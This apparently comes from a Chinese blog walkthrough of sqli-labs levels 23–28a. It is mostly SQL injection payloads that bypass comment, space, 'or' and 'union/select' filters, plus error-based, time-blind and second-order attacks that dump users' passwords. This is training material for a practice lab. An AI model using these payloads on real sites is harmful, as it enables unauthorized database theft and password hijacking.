sqli-labs靶场23-28a关(过滤)

发布于:2025-05-17 ⋅ 阅读:(15) ⋅ 点赞:(0)

目录

less23(--+过滤)

less24(二次注入)

less25(or过滤)

less25a(or过滤)

less26(--+和空格过滤报错)

less26a(--+空格过滤盲注)

less27(空格union、select过滤)

less27a(空格union,select过滤)

less28(空格union,select过滤)

less28a(union、select过滤)



less23(--+过滤)

get传参id=1,显示用户名和密码:

?id=1'报错——判断为单引号闭合

?id=1'--+还是报错,且尝试添加括号闭合符号,还是报错,说明--+注释符被过滤了

由于是单引号闭合,那我们可以在语句后面加上or '将后面的语句闭合起来,而不是注释掉

判断好闭合后,尝试order by判断回显位时,判断不出来,由于这里有报错信息,那么可以考虑报错注入。

也可以尝试跳过回显位判断,直接union select 1,2,…… or '不断尝试,找到回显位:

通过尝试,?id=-1' union select 1,2,3 or'找到回显位:

?id=-1' union select 1,database(),3 or'——爆数据库

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or'——爆表名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' or'——爆字段名

尝试?id=-1' union select 1,group_concat(password),3 from security.users or'爆数据时,会出错,因为or语句被判定为了sql语句的判定语句,相当于where语句,那就用where语句来闭合后面的'

?id=-1' union select 1,group_concat(password),3 from security.users where 1='1——爆数据



less24(二次注入)

这关有多个功能,包括注册登录和修改密码:

并且如果我们点击忘记密码,它会提醒我们:

那这关的主要目的就是模拟忘记密码后,怎么修改密码了。

比如我们自己有一个账户为test,密码不知道

首先注册一个同名账号,然后加上注入语句,造成二次注入:
test'#,密码随便设置,比如123:

注册成功后,登录test'#账户,选择修改密码:

修改成功后,可以发现,修改的其实是test用户的密码,因为:

修改密码:

UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass'

可以发现,实际修改的是test用户的密码。



less25(or过滤)

通过get传参?id=1,显示用户名和密码

?id=1'——报错,判断为单引号闭合

?id=1'--+——正常回显,确定为单引号闭合

由于有报错信息,那我们直接尝试报错注入:

?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

发现报错,说明存在过滤。

使用万能密码?id=1'or(ture)--+发现还是报错,结合之前的注入语句,判断是or被过滤了!

可以尝试双写绕过:

?id=1' oorr updatexml(1,concat(0x7e,(database()),0x7e),1)--+爆数据库:

有意思的是information中的or也被过滤了:

所以同样需要双写:

?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1)--+爆表名

?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'),0x7e),1)--+爆字段名(and也需要双写)

?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(passwoorrd) from security.users),0x7e),1)--+爆数据(注意password中的or也需要双写)



less25a(or过滤)

同25关,但是这关没有具体的报错信息,所以不能用报错注入。

get传参?id=1回显用户名和密码

?id=1'报错——判断为单引号闭合

?id=1'--+还是报错……

尝试各种引号括号,都报错——判断这里可能是数字型

?id=3-1,回显正常——确定为数字型

尝试万能密码?id=1 or (true)--+——错误回显

?id=1 oorr (true)--+——正确回显,判断是or被过滤了

?id=1 oorrder by 4--+错误回显

?id=1 oorrder by 3--+正确回显——判断有三处回显

?id=-1 union select 1,2,3--+找到回显位置:

?id=-1 union select 1,database(),3--+爆数据库

?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'--+爆表名

?id=-1 union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'--+爆字段名

?id=-1 union select 1,group_concat(passwoorrd),3 from security.users--+爆数据



less26(--+和空格过滤报错)

?id=1'报错——判断为单引号闭合

?id=1'--+报错,并且尝试添加括号还是报错

?id=1'or(true)--+尝试万能密码,还是报错,双写or还是报错——判断可能--+被过滤

使用;%00代替--+

?id=1'or(true);%00——还是报错,尝试双写or,终于回显正常了:

?id=1'oorr(true);%00

由于这关有报错信息,那么直接用报错注入:

?id=1' oorr updatexml(1,concat(0x7e,(database()),0x7e),1);%00又报错了,还有空格被过滤

这里尝试了各种空格绕过,都失败了,再尝试用||代替or,既能代替or,又能起一个分隔符的作用,那么就可以不用空格了:

?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1);%00爆数据库

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1);%00爆表名(注意后面语句中的空格也会被过滤,所以用口号包裹各个语句)

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='users')aandnd(table_schema='security'))),0x7e),1);%00爆字段名

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(passwoorrd))from(security.users)),0x7e),1);%00爆数据



less26a(--+空格过滤盲注)

传入参数?id=1回显用户名和密码

?id=1'回显错误——判断为单引号闭合

?id=1'--+还是报错

尝试?id=1')--+和?id=1'))--+都不行

怀疑是数字型,尝试?id=2-1,不行

说明存在过滤的情况:

使用万能密码:?id=1'or(true)--+不行

多次尝试后,双写or,然后使用;%00代替--+,添加反括号)后回显正常了:

?id=1')oorr(true);%00

由于没有具体的报错信息,尝试使用时间盲注:

?id=0')||if((length(database())=8),sleep(5),1);%00爆数据库名长度:

?id=0')||if((substr((select(database())),1,1)='a'),sleep(5),1);%00爆数据库名:

?id=0')||if((substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e'),sleep(5),1);%00爆表名

(这里没有用limit 0,1因为用了好像会出错,所以直接用了group_concat来爆所有表,缺点是不太好区分表名。这里还好,每张表以字母s隔开)

?id=0')||if((substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='users')anandd(table_schema='security'))),1,1)='e'),sleep(5),1);%00爆字段名:

?id=0')||if((substr((select(group_concat(passwoorrd))from(security.users)),1,1)='e'),sleep(5),1);%00爆数据:



less27(空格union、select过滤)

?id=1'报错——判断为单引号闭合

?id=1'--+报错,可能是--+被过滤

?id=1'or(true);%00成功绕过过滤:

?id=1' order by 3;%00报错——空格被过滤,尝试%09绕过过滤:

?id=1'%09order%09by%093;%00——判断回显位数

?id=1'%09union%09select%091,2,3;%00——报错,union和select被过滤,尝试大小写或双写

?id='%09uNion%09seLect%091,2,3;%00——成功找到回显位置:

?id='%09uNion%09seLect%091,database(),3;%00——爆数据库

?id='%09uNion%09seLect%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表

?id='%09uNion%09seLect%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段名

?id='%09uNion%09seLect%091,group_concat(password),3%09from%09security.users;%00——爆数据



less27a(空格union,select过滤)

?id=1'——没有出错

?id=1"——报错——判断为双引号闭合

?id=1"--+报错,?id=1";%00正常回显——判断--+被过滤,使用;%00绕过过滤

?id=1"%09order%09by%093;%00——判断回显位数(%09绕过空格过滤)

?id="%09union%09select%091,2,3;%00报错——union、select过滤,尝试大小写或双写绕过:

?id="%09uunionnion%09selecT%091,2,3;%00——找到回显位置:

?id="%09uunionnion%09selecT%091,database(),3;%00——爆数据库

?id="%09uunionnion%09selecT%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表

?id="%09uunionnion%09selecT%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段名

?id="%09uunionnion%09selecT%091,group_concat(id,password),3%09from%09security.users;%00——爆数据



less28(空格union,select过滤)

?id=1'报错——判断为单引号闭合

?id=1'--+报错,?id=1';%00报错

?id=1');%00正常回显——判断为单引号括号闭合,--+过滤

?id=1')%09order%09by%093;%00——判断回显位有3位

?id=')%09union%09union%09select%09%09select%091,2,3;%00——找到回显位

(双写union和select)

?id=')%09union%09union%09select%09%09select%091,database(),3;%00——爆数据库

?id=')%09union%09union%09select%09%09select%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表

?id=')%09union%09union%09select%09%09select%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段

?id=')%09union%09union%09select%09%09select%091,group_concat(id,username,password),3%09from%09security.users;%00——爆字段数据



less28a(union、select过滤)

?id=1'报错——判断为单引号闭合

?id=1';--+又报错,?id=1');--+正确回显——判断为单引号括号闭合

?id=1') order by 3;--+——判断出有三处回显

?id=') union select 1,2,3;--+——报错,判断union、select过滤,尝试双写

?id=') union union select select 1,2,3;--+——找到回显位置

?id=') union union select select 1,2,database();--+——爆数据库

?id=') union union select select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+——爆表

?id=') union union select select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security';--+——爆字段名

?id=') union union select select 1,2,group_concat(id,username,password) from security.users;--+——爆数据




网站公告

今日签到

点亮在社区的每一天
去签到